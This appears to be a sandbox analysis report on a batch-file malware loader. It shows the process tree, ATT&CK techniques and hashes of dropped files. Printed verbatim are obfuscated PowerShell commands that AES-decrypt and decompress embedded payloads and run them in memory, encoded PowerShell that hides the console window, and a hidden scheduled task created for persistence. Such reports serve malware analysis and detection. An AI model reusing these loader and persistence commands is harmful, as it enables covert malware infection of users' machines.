AAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5056
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zswlf55w\zswlf55w.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2396
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5350.tmp" "c:\Users\Admin\AppData\Local\Temp\zswlf55w\CSC637DEB5C91504F0FAD599A4849E58B7.TMP"
        6⤵
        
        PID:2456
- - C:\Windows\system32\cmd.exe
    cmd.exe /C call C:\Users\Admin\AppData\Local\Temp\4552ea180d4e90dd0763310d88ca7b06.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTnhKptKvDQYRLqISyqUiWPokzGobfBxkJozZ/OjDQU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ty/UZ5VMMgwhyXUCWUNaCQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DOcdR=New-Object System.IO.MemoryStream(,$param_var); $WwEvW=New-Object System.IO.MemoryStream; $nDtUR=New-Object System.IO.Compression.GZipStream($DOcdR, [IO.Compression.CompressionMode]::Decompress); $nDtUR.CopyTo($WwEvW); $nDtUR.Dispose(); $DOcdR.Dispose(); $WwEvW.Dispose(); $WwEvW.ToArray();}function execute_function($param_var,$param2_var){ $bQLMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WUPgJ=$bQLMq.EntryPoint; $WUPgJ.Invoke($null, $param2_var);}$LnVUR = 'C:\Users\Admin\AppData\Local\Temp\4552ea180d4e90dd0763310d88ca7b06.bat';$host.UI.RawUI.WindowTitle = $LnVUR;$Wfnxu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LnVUR).Split([Environment]::NewLine);foreach ($qmmLN in $Wfnxu) { if ($qmmLN.StartsWith('PAYzUHUqyEpEidvsMrDH')) { $ntRaZ=$qmmLN.Substring(20); break; }}$payloads_var=[string[]]$ntRaZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:1456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\dllhost.bat
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\dllhost.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z2xC2h+C2t+xhefZVNgrwhVd+6cW81hKA09gr+Vgl4k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uJXvi7Nv9XV1R1jEsJpl9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYNnG=New-Object System.IO.MemoryStream(,$param_var); $ddxMX=New-Object System.IO.MemoryStream; $tCHGY=New-Object System.IO.Compression.GZipStream($FYNnG, [IO.Compression.CompressionMode]::Decompress); $tCHGY.CopyTo($ddxMX); $tCHGY.Dispose(); $FYNnG.Dispose(); $ddxMX.Dispose(); $ddxMX.ToArray();}function execute_function($param_var,$param2_var){ $FpgFt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IsQVI=$FpgFt.EntryPoint; $IsQVI.Invoke($null, $param2_var);}$gzWXE = 'C:\Users\Admin\AppData\Local\dllhost.bat';$host.UI.RawUI.WindowTitle = $gzWXE;$jVKyS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gzWXE).Split([Environment]::NewLine);foreach ($MYFti in $jVKyS) { if ($MYFti.StartsWith('mDQBKkDMpSmzSJjqvWce')) { $zEoKi=$MYFti.Substring(20); break; }}$payloads_var=[string[]]$zEoKi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:1656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\conhost.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Local\conhost.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_771_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_771.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_771.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_771.bat" "
      4⤵
      PID:3156
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_771.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
SSDEEP 1536:LflJdDiFHzdytYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd6YLYkzvHgfKQNUpeE711kz
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 d36341ad58b9ef9db1b388e744bba2d0fdf345a7a4e531ccec5a1d3d8981d45c
MD5 e5c98a013e703df04b35c35839337dba
SHA1 13960369e96d07359b4de8509a1e5bc2317f603b
SHA512 c9d0e2575bf1a188f42768d4e67948c8bcd8bab04d391c776a9da3f286c8f2d6506a053a769fe6541d23e06847849f3adf97eccc1496966452e06edf9c8aeaf8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 a2a0a675f479ade2c9484df6ace19dbc7940a2e37a41398973e80820f701215d
MD5 f5cc3a7fefcf55828507399b71edcefd
SHA1 a8b3134d7e3be5a83e481f33be4526340982cabd
SHA512 94a1b4d244d81d0077c7ba3eddd5d5a72ce39333d5936c6da3df17b10594121b6023c8f411f7fc9c3d12466073081bbae189894648c6ae4a79d73f8b276c9721
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 cc19d97e47707d8af9e7b458074186119651813612891967643a31e4938795cb
MD5 332c3c67d0e9aee54c2c5cd5e6bc2768
SHA1 efafbfd2f183b8218e81e72cb000326be1921f90
SHA512 f661c5a0f70525261ef2ce03053a91f473dbd3dbe81719b08b72ce3098e5534818077487c71229baabf8860f5f8f900597698482a86827bbcdf46760607bd887
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 546f85b4d2bab58a33c2a5d1ad1ba0b8348a660a1fb66efa57a1be08447819e9
MD5 ef656dfb28f9030ca96ea963e6c28f1b
SHA1 f7f4daa5cf516fffeb1665d85a9d9d7b6113c728
SHA512 efef19a3cf8f376a3842f18d673a0adf50258cc1a4e7e413c868c3cb1c5976b614e4295b3c681a9de11cada02d299308ce9cdcf13e423397614f344772551374
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c
MD5 f65feb0fbbd0fcb9da91d117a38e4f31
SHA1 95b1256dd050df6d555a4d06d4dc7ac542b6a070
SHA512 0715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 332B
SHA256 cb6fdfb0c962ee06ecbb5cd34579cd86b1a0f192c9308c425c64ed4fcfe375f0
MD5 d03606300d155ade7f4c70febbf46c8e
SHA1 5acdb79cfec8839f8eb5e78015170e8c75913966
SHA512 bd374c829611019571f7dc2620794f202c7af40705965f654d4dc420411546f930eee6f45c967d66e6a298d59178541f816cf247caf78c154952971281051c8e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
MD5 8117d1162c008cf731fe668d81f95ac0
SHA1 1fdce919b160546d65f946726794b3331de06938
SHA512 711cc338d15b6b36cad3e8ca1a57b0595991f060d24f39faa2b24a2c4ca08c07c82497ed8b1bfbc998452778d75fb24558d72062ef5ee6848d99e35068c5f188
MD5 SHA1 SHA512

Submit Download

4552ea180d4e90dd0763310d88ca7b06.bat

Path C:\Users\Admin\AppData\Local\Temp\4552ea180d4e90dd0763310d88ca7b06.bat
Size 1.1MB
SHA256 01032160f6993e3ad4923eb6b990e1cbab55bfd9dcd34bada39e4fd56e0f380b
MD5 8dea57fcbda1c923bc786635013aeab9
SHA1 3d81d60e60a792c7e5842e8a38e3c7b2584571c4
SHA512 c1496c87b974fb466425c149deb6255d8304bc98225c3351ffd483b841ba94a564627d38297933996d7ec26076fe7312afd26c6d6d7d2214c7121e11b8092975
SSDEEP 24576:1FKp29R5rL8qbXuz7SyCL+xO8kh0114Zvu:1q20ss2q1J
MD5 SHA1 SHA512 SSDEEP

Submit Download

RES5350.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5350.tmp
Size 1KB
SHA256 b2c714a0c8b1a854c093929b8cd6bb1cc953e6c2aa4edd6ce3a738f2976e1cb0
MD5 52ee798398e57e0e18a9a51e3f25ed90
SHA1 8cf8e3b344bde3c3cb19f5ec0c1c86e09a1dc4e9
SHA512 c0b6f8b5818b414972dcbce5ff04c454093e1b2e22d140b4749d65ed744a5e1fcb7c5fde3f8754fc7b11e7bab3614675ca4002d7d99d57d8fd201b6ba27aa07a
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_co2g35jv.egi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_co2g35jv.egi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

zswlf55w.dll

Path C:\Users\Admin\AppData\Local\Temp\zswlf55w\zswlf55w.dll
Size 3KB
SHA256 a92059998802fea40d7a0aaa9de1ea66b49c74db45ea478d2480be9871d18fcd
MD5 7413a3a19bbbee8809cc2254189f1a3a
SHA1 02f3841d8112f5bb828348951ab7183d82abf62b
SHA512 fcc8c00c62b0547110bd85236b0bbe62e8bccbe8c51c6dc408ae41a2c9bdea6d67cc9058d45639215269ac8c4fc3994d66bd6c2b20fff653a2e733189d909556
MD5 SHA1 SHA512

Submit Download

conhost.bat

Path C:\Users\Admin\AppData\Local\conhost.bat
Size 274KB
SHA256 1712234dc7e53f17f82ce68b88b233c255dace791b6d554ec6ed97c02fa77521
MD5 8312a279f1761d8ab199897bdde2e024
SHA1 f960d6325354b3a48c64bb592ad312325fe82541
SHA512 0a98198de796ab3da3b6dbb16e4ecc9123a1efe6bdfd7dd6cfe3ae358b221f82a89846d17a4321f241efa534863cdc43c5d0cd696176b7b28962b8f9ad374643
SSDEEP 6144:iWNRW4JCN+zrwhVrE/91zE9twbybgCusExxUjr3EqS:iLbe6wE9twb2gC+xx0Qj
MD5 SHA1 SHA512 SSDEEP

Submit Download

dllhost.bat

Path C:\Users\Admin\AppData\Local\dllhost.bat
Size 83KB
SHA256 8977812b16f1e3d827cbce1675d9ad9e2f0370cf27cb3b23b389594739c3b837
MD5 fc1bd57fa57b7b5c512746c7de3fa19a
SHA1 7f794e6459def2dcc346d562aacca372e7282270
